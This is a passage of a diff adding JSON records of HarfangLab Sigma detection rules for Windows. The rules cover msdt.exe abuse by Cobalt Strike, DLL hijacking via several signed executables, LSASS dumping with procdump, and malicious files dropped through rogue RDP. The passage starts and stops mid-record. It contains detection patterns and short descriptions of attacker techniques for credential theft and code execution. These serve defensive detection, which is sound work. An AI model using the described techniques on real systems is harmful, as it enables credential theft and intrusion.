+  "rule_description": "Detects the loading of .NET assemblies whose PDB path indicates potentially malicious activities.\nProgram Database (PDB) files contain debugging information and file paths that can reveal the original development environment and intent of .NET assemblies.\nSuspicious PDB paths may include references to offensive tools, exploit frameworks, or development environments associated with malicious activities.\nIt is recommended to analyze the loading process and to investigate the assembly's functionality and origin.\n",
+  "rule_creation_date": "2024-11-27",
+  "rule_modified_date": "2025-06-20",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1620"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "3e456468-0899-4a47-967e-a1e508005da6",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.072530Z",
+  "creation_date": "2026-03-23T11:45:34.072533Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.072537Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://posts.specterops.io/a-deep-dive-into-cobalt-strike-malleable-c2-6660e33b0e0b",
+    "https://attack.mitre.org/techniques/T1055/",
+    "https://attack.mitre.org/software/S0154/"
+  ],
+  "name": "t1055_suspicious_process_msdt.yml",
+  "content": "title: Suspicious msdt.exe Execution\nid: 3e456468-0899-4a47-967e-a1e508005da6\ndescription: |\n    Detects suspicious execution patterns of msdt.exe (Microsoft Support Diagnostic Tool), a legitimate Windows troubleshooting utility.\n    While normally used for system diagnostics, this binary is frequently abused by attackers, particularly Cobalt Strike, through its spawnto technique to masquerade malicious activities as legitimate troubleshooting processes.\n    It is recommended to analyze any associated diagnostic packages, and terminate unauthorized instances while correlating with other Cobalt Strike indicators.\nreferences:\n    - https://posts.specterops.io/a-deep-dive-into-cobalt-strike-malleable-c2-6660e33b0e0b\n    - https://attack.mitre.org/techniques/T1055/\n    - https://attack.mitre.org/software/S0154/\ndate: 2022/01/04\nmodified: 2025/02/06\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.t1055\n    - attack.s0154\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.Behavior.Masquerading\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    category: process_creation\n    product: windows\ndetection:\n    selection:\n        - Image|endswith: '\\msdt.exe'\n        - OriginalFileName: 'msdt.exe'\n\n    exclusion_legitimate_commandline:\n        CommandLine|contains:\n            - ' -path'\n            - ' /path'\n            - ' -id'\n            - ' /id'\n            - ' -cab'\n            - ' /cab'\n            - ' -dt'\n            - ' /dt'\n            - ' -\\?'\n            - ' /\\?'\n            - ' ms-msdt:-id'\n\n    exclusion_known_fp_1:\n        CommandLine: '?:\\Windows\\System32\\msdt.exe -sp Microsoft -elevated yes'\n        ParentImage: '?:\\Windows\\System32\\msdt.exe'\n\n    exclusion_known_fp_2:\n        CommandLine:\n            - '?:\\Windows\\System32\\msdt.exe'\n            - '?:\\Windows\\SysWOW64\\msdt.exe'\n        ParentImage:\n            - '?:\\Windows\\System32\\sihost.exe'\n            - '?:\\Windows\\explorer.exe'\n            - '?:\\Program Files (x86)\\Common Files\\VAudio\\Interop.exe'\n\n    # https://learn.microsoft.com/en-us/troubleshoot/windows-client/shell-experience/fix-problems-in-windows-search\n    exclusion_known_fp_3:\n        CommandLine:\n            - 'msdt.exe -ep WindowsHelp id SearchDiagnostic'\n            - '?:\\Windows\\system32\\msdt.exe -ep WindowsHelp id SearchDiagnostic'\n\n    condition: selection and not 1 of exclusion_*\nlevel: high\nconfidence: strong",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "3e456468-0899-4a47-967e-a1e508005da6",
+  "rule_name": "Suspicious msdt.exe Execution",
+  "rule_description": "Detects suspicious execution patterns of msdt.exe (Microsoft Support Diagnostic Tool), a legitimate Windows troubleshooting utility.\nWhile normally used for system diagnostics, this binary is frequently abused by attackers, particularly Cobalt Strike, through its spawnto technique to masquerade malicious activities as legitimate troubleshooting processes.\nIt is recommended to analyze any associated diagnostic packages, and terminate unauthorized instances while correlating with other Cobalt Strike indicators.\n",
+  "rule_creation_date": "2022-01-04",
+  "rule_modified_date": "2025-02-06",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1055"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "3e6d1273-89a6-489b-8d39-0d72e284df91",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.593808Z",
+  "creation_date": "2026-03-23T11:45:34.593811Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.593819Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows",
+    "https://github.com/xforcered/WFH",
+    "https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_ddodiag.yml",
+  "content": "title: DLL Hijacking via ddodiag.exe\nid: 3e6d1273-89a6-489b-8d39-0d72e284df91\ndescription: |\n    Detects potential Windows DLL Hijacking via ddodiag.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows\n    - https://github.com/xforcered/WFH\n    - https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2021/12/10\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'ddodiag.exe'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith:\n            - '\\fddevquery.dll'\n            - '\\propsys.dll'\n            - '\\XmlLite.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "3e6d1273-89a6-489b-8d39-0d72e284df91",
+  "rule_name": "DLL Hijacking via ddodiag.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via ddodiag.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2021-12-10",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "3eb7a11a-6332-420e-b874-a943ded0d729",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.590248Z",
+  "creation_date": "2026-03-23T11:45:34.590252Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.590260Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://blogs.blackberry.com/en/2022/10/mustang-panda-abuses-legitimate-apps-to-target-myanmar-based-victims",
+    "https://github.com/FalconForceTeam/FalconFriday/blob/master/Uncategorized/FireEye_red_team_tool_countermeasures.md#hpcustpartuidll-hijack",
+    "https://www.contextis.com/en/blog/dll-search-order-hijacking",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_hp_colorlaser_jet.yml",
+  "content": "title: DLL Hijacking via HP ColorLaser Jet software\nid: 3eb7a11a-6332-420e-b874-a943ded0d729\ndescription: |\n    Detects potential Windows DLL Hijacking via HP ColorLaser Jet software.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://blogs.blackberry.com/en/2022/10/mustang-panda-abuses-legitimate-apps-to-target-myanmar-based-victims\n    - https://github.com/FalconForceTeam/FalconFriday/blob/master/Uncategorized/FireEye_red_team_tool_countermeasures.md#hpcustpartuidll-hijack\n    - https://www.contextis.com/en/blog/dll-search-order-hijacking\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2022/10/10\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'HPCustParticUI.exe'\n        ProcessSignature: 'Hewlett Packard'\n        ImageLoaded|endswith: '\\HPCustPartUI.dll'\n\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Program Files\\HP\\HP*\\Bin\\'\n            - '?:\\Program Files (x86)\\HP\\HP*\\Bin\\'\n\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Program Files\\HP\\HP*\\'\n            - '?:\\Program Files (x86)\\HP\\HP*\\'\n            - '?:\\Program Files\\Trend Micro\\'\n            - '?:\\Program Files (x86)\\Trend Micro\\'\n\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Hewlett Packard'\n\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "3eb7a11a-6332-420e-b874-a943ded0d729",
+  "rule_name": "DLL Hijacking via HP ColorLaser Jet software",
+  "rule_description": "Detects potential Windows DLL Hijacking via HP ColorLaser Jet software.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2022-10-10",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "3ebe7176-c7a6-4c4b-b556-0b91e3b3949d",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.096515Z",
+  "creation_date": "2026-03-23T11:45:34.096517Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.096522Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://securityintelligence.com/posts/windows-features-dll-sideloading/",
+    "https://github.com/xforcered/WFH",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_eoaexperiences.yml",
+  "content": "title: DLL Hijacking via EoaExperiences.exe\nid: 3ebe7176-c7a6-4c4b-b556-0b91e3b3949d\ndescription: |\n    Detects potential Windows DLL Hijacking via EoaExperiences.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://securityintelligence.com/posts/windows-features-dll-sideloading/\n    - https://github.com/xforcered/WFH\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2022/09/15\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'EoaExperiences.exe'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith: '\\d2d1.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "3ebe7176-c7a6-4c4b-b556-0b91e3b3949d",
+  "rule_name": "DLL Hijacking via EoaExperiences.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via EoaExperiences.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2022-09-15",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "3ed4eb53-d0ba-458c-9c03-cd4f967cc00b",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.627660Z",
+  "creation_date": "2026-03-23T11:45:34.627662Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.627667Z",
+  "rule_level": "critical",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.ired.team/offensive-security/credential-access-and-credential-dumping/dump-credentials-from-lsass-process-without-mimikatz#procdump",
+    "https://attack.mitre.org/techniques/T1003/001/"
+  ],
+  "name": "t1003_001_lsass_memory_dump_procdump.yml",
+  "content": "title: LSASS Process Memory Dumped via procdump\nid: 3ed4eb53-d0ba-458c-9c03-cd4f967cc00b\ndescription: |\n    Detects an attempt to dump the LSASS' process memory using procdump.\n    Adversaries may attempt to access credential material stored in the process memory of the Local Security Authority Subsystem Service (LSASS).\n    These credential materials can be harvested by an administrative user or SYSTEM and used to conduct Lateral Movement or Privilege Escalation.\n    It is recommended to check the process launching Procdump for other suspicious activity, such as data exfiltration and to start memory forensics to determine stolen credentials.\nreferences:\n    - https://www.ired.team/offensive-security/credential-access-and-credential-dumping/dump-credentials-from-lsass-process-without-mimikatz#procdump\n    - https://attack.mitre.org/techniques/T1003/001/\ndate: 2021/05/28\nmodified: 2026/02/11\nauthor: HarfangLab\ntags:\n    - attack.credential_access\n    - attack.t1003.001\n    - attack.t1078\n    - classification.Windows.Source.ProcessAccess\n    - classification.Windows.LOLBin.ProcDump\n    - classification.Windows.Behavior.LSASSAccess\n    - classification.Windows.Behavior.CredentialAccess\n    - classification.Windows.Behavior.PrivilegeEscalation\nlogsource:\n    product: windows\n    category: process_access\ndetection:\n    selection:\n        TargetImage|endswith: '\\lsass.exe'\n        GrantedAccessStr|contains: 'PROCESS_VM_READ'\n        ProcessOriginalFileName: 'procdump'\n\n    condition: selection\nlevel: critical\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "3ed4eb53-d0ba-458c-9c03-cd4f967cc00b",
+  "rule_name": "LSASS Process Memory Dumped via procdump",
+  "rule_description": "Detects an attempt to dump the LSASS' process memory using procdump.\nAdversaries may attempt to access credential material stored in the process memory of the Local Security Authority Subsystem Service (LSASS).\nThese credential materials can be harvested by an administrative user or SYSTEM and used to conduct Lateral Movement or Privilege Escalation.\nIt is recommended to check the process launching Procdump for other suspicious activity, such as data exfiltration and to start memory forensics to determine stolen credentials.\n",
+  "rule_creation_date": "2021-05-28",
+  "rule_modified_date": "2026-02-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.credential_access"
+  ],
+  "rule_technique_tags": [
+    "attack.t1003.001",
+    "attack.t1078"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "3ed5fbba-cc68-43af-84dc-c9a39e083aaa",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.619065Z",
+  "creation_date": "2026-03-23T11:45:34.619067Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.619072Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://unit42.paloaltonetworks.com/brute-ratel-c4-tool/",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_onedriveupdater.yml",
+  "content": "title: DLL Hijacking via OneDriveUpdater\nid: 3ed5fbba-cc68-43af-84dc-c9a39e083aaa\ndescription: |\n    Detects a potential Windows DLL search order hijacking via OneDriveUpdater.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    The OneDriveStandaloneUpdater tries to load (version.dll) without specifying its absolute path. By putting a malicious DLL with the same name in the same folder, attackers can execute arbitrary code.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://unit42.paloaltonetworks.com/brute-ratel-c4-tool/\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2022/07/15\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'OneDriveStandaloneUpdater.exe'\n        ProcessSignature: 'Microsoft Corporation'\n        ImageLoaded|endswith: '\\version.dll'\n\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature:\n            - 'Microsoft Windows'\n            - 'Microsoft Corporation'\n\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "3ed5fbba-cc68-43af-84dc-c9a39e083aaa",
+  "rule_name": "DLL Hijacking via OneDriveUpdater",
+  "rule_description": "Detects a potential Windows DLL search order hijacking via OneDriveUpdater.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nThe OneDriveStandaloneUpdater tries to load (version.dll) without specifying its absolute path. By putting a malicious DLL with the same name in the same folder, attackers can execute arbitrary code.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2022-07-15",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "3f29d6d1-df14-4f24-abc0-abe36ac82683",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.096091Z",
+  "creation_date": "2026-03-23T11:45:34.096093Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.096098Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.blackhillsinfosec.com/rogue-rdp-revisiting-initial-access-methods/",
+    "https://attack.mitre.org/techniques/T1566/001/"
+  ],
+  "name": "1566_001_written_file_mstsc.yml",
+  "content": "title: Suspicious File Written by mstsc.exe\nid: 3f29d6d1-df14-4f24-abc0-abe36ac82683\ndescription: |\n    Detects a suspicious file written by mstsc.exe.\n    Using a specially crafted RDP files, attackers may access users local drives through RDP connections and drop malicious files.\n    It is recommended to check the maliciousness of the newly created files and if the connection to the RDP server was legitimate.\nreferences:\n    - https://www.blackhillsinfosec.com/rogue-rdp-revisiting-initial-access-methods/\n    - https://attack.mitre.org/techniques/T1566/001/\ndate: 2024/10/29\nmodified: 2025/11/07\nauthor: HarfangLab\ntags:\n    - attack.initial_access\n    - attack.t1566.001\n    - classification.Windows.Source.Filesystem\n    - classification.Windows.Behavior.InitialAccess\n    - classification.Windows.Behavior.Phishing\nlogsource:\n    category: filesystem_event\n    product: windows\ndetection:\n    selection:\n        Path|endswith:\n            - '.dll'\n            - '.exe'\n            - '.com'\n            - '.cpl'\n            - '.pif'\n            - '.js'\n            - '.jse'\n            - '.vbs'\n            - '.vbe'\n            - '.ps1'\n            - '.cmd'\n            - '.bat'\n            - '.wsh'\n            - '.hta'\n            - '.lnk'\n        Path|contains:\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\Sysvol\\'\n            - '?:\\Users\\Public\\'\n            - '\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\'\n            - '\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\'\n            - '\\Documents\\PowerShell\\profile.ps1'\n            - '\\Documents\\WindowsPowerShell\\profile.ps1'\n            - '\\System32\\WindowsPowerShell\\v1.0\\profile.ps1'\n            - '\\Documents\\PowerShell\\\\*_profile.ps1'\n            - '\\Documents\\WindowsPowerShell\\\\*_profile.ps1'\n            - '\\System32\\WindowsPowerShell\\v1.0\\\\*_profile.ps1'\n            - '?:\\Windows\\system32\\spool\\PRTPROCS\\'\n            - '?:\\Users\\\\*\\AppData\\Roaming\\Microsoft\\Word\\Startup\\'\n            - 